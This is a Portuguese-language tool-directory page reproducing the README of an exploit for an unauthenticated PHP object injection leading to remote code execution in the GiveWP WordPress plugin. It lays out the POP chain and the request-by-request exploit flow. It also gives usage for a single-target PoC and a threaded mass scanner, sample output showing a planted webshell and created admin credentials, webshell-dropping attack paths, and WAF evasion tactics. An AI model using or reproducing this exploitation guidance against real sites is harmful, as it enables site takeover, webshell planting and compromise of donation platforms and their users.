Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 Injeção de Objeto PHP Não Autenticada → RCE | Kitploit
Ferramentas/GitHubGitHub/r0x19/cve-2026-82222
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 Injeção de Objeto PHP Não Autenticada → RCE

Ver Repositório
35há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-82222 — GiveWP <= 4.16.7.1 Injeção de Objeto PHP Não Autenticada → RCE

Autor: Rx019
CVSS: 10.0 (Crítico)
Tipo: Injeção de Objeto PHP Não Autenticada → Execução Remota de Código
Plugin: GiveWP (give) — Plugin de Doações e Plataforma de Arrecadação
Afetado: <= 4.16.7.1
Corrigido: 4.16.8


Descrição

O GiveWP armazena o last_name de um doador na sessão PHP sem sanitização. Quando uma doação é enviada sem o campo give_last, o GiveWP desserializa o valor bruto do banco de dados diretamente na sessão. Isso permite que um atacante não autenticado injete um objeto serializado em PHP no last_name por meio do endpoint de perfil do doador e, em seguida, acione a desserialização ao enviar uma doação manipulada — resultando na execução arbitrária de comandos por meio de uma cadeia POP pré-construída disponível nas bibliotecas de fornecedores incluídas no GiveWP.


Cadeia POP

TCPDF::__destruct()
  └─ Session::getBag()           ← chama o método nomeado por $attributeName
       └─ DonationFactory::__call()
            └─ system($command)   ← $command vindo de $attributeName

Classes de fornecedores usadas:

ClasseArquivo
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Fluxo do Exploit

1. Registrar-se como doador         → sessão autenticada (cookie wp-login)
2. POST /wp-admin/profile.php
   last_name = cadeia TCPDF serializada com comando system() embutido
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (campo give_last OMITIDO)
   → GiveWP lê last_name do banco de dados, grava objeto bruto na sessão
4. GET /?p={form_id}
   → o encerramento da sessão PHP dispara TCPDF::__destruct()
   → a cadeia POP executa system(command)
5. Confirmar shell / admin criado

Requisitos

pip install requests rich

Python >= 3.9


Arquivos

ArquivoDescrição
CVE-2026-82222.pyPoC de alvo único — saída detalhada passo a passo
CVE-2026-82222-MASS.pyScanner em massa — modo de lote com threads

Uso

Alvo Único

python CVE-2026-82222.py

Prompt interativo:

  URL do alvo: https://victim.com

Ou diretamente:

python CVE-2026-82222.py https://victim.com

Scanner em Massa

# Lote a partir de arquivo
python CVE-2026-82222-MASS.py -f targets.txt

# Contagem personalizada de threads
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Múltiplos alvos inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Menu interativo
python CVE-2026-82222-MASS.py

Formato do arquivo de lote:

# Linhas que começam com # são ignoradas
https://target1.com
https://target2.com
target3.com          # protocolo prefixado automaticamente como https://
http://target4.com

Saída

Modo Único

╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direto)  https://victim.com           │
│  Versão  : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Método  : shell + direto (sem necessidade de gravar .php) │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Resumo do Lote

  Vulneráveis : 12   Parciais : 3   Corrigidos : 44   Não Vulneráveis : 21   Erros : 2   Total : 82

Resultados salvos em ~/Documents/CVE/CVE-2026-82222/:

ArquivoConteúdo
CVE-2026-82222_YYYYMMDD_HHMMSS.txtResultado de execução única
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtResultados completos do lote
success_results.txtLinhas VULN/PARTIAL anexadas

Caminhos de Ataque

O exploit tenta dois caminhos principais em sequência:

Caminho A — Admin Direto (sem gravar arquivo de shell)

  1. Injetar código PHP wp_create_user() como base64 na cadeia TCPDF
  2. Disparar a cadeia — o GiveWP executa o código no servidor
  3. Verificar fazendo login como o admin criado
  4. Soltar shell via editor de arquivos de plugin/tema do WordPress

Caminho B — Soltura de Shell pela Cadeia do GiveWP

Usado quando o Caminho A falha ou o login de admin não pode ser verificado.

  1. Registrar uma nova sessão de doador (novo arquivo de sessão PHP — evita contenção de bloqueio do worker do Caminho A)
  2. Injetar comando de soltura de shell no last_name via endpoint de perfil
  3. Contaminar a sessão (doar sem give_last)
  4. Acionar a desserialização (/?p={form_id})
  5. Confirmar a presença do shell nos diretórios de upload/plugin/tema
  6. Fallback: beacon id | tee para um arquivo .txt em uploads

Caminho C — Admin via Shell

Se um shell for confirmado, mas nenhum admin existir ainda, criar um via shell usando wp_create_user() por meio do parâmetro ?c= do webshell.


Tratamento de WAF

WAFEstratégia
Imunify360Remover cabeçalhos de spoofing X-Forwarded-For / X-Real-IP
WordfenceRotacionar User-Agent a partir do pool
CloudflareDefinir Accept-Encoding: gzip, deflate, br

Notas

  • O exploit exige que o GiveWP tenha pelo menos um formulário de doação publicado
  • O registro deve estar habilitado no site alvo (configuração principal do WordPress)
  • Dreno do pool de workers PHP-FPM: um sleep de 30 segundos é inserido após a cadeia de admin direto para permitir que o worker que segura a sessão libere antes das solicitações subsequentes
  • DISALLOW_FILE_EDIT em wp-config.php bloqueia o vetor do editor de plugin/tema — o script detecta isso antecipadamente e cai para o Caminho B
  • Nome do shell: Rx{100-999}.php — randomizado por execução

Aviso Legal

Esta ferramenta é lançada apenas para testes de segurança autorizados e fins de pesquisa.
Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
O uso não autorizado é ilegal e antiético.

Baixar ferramenta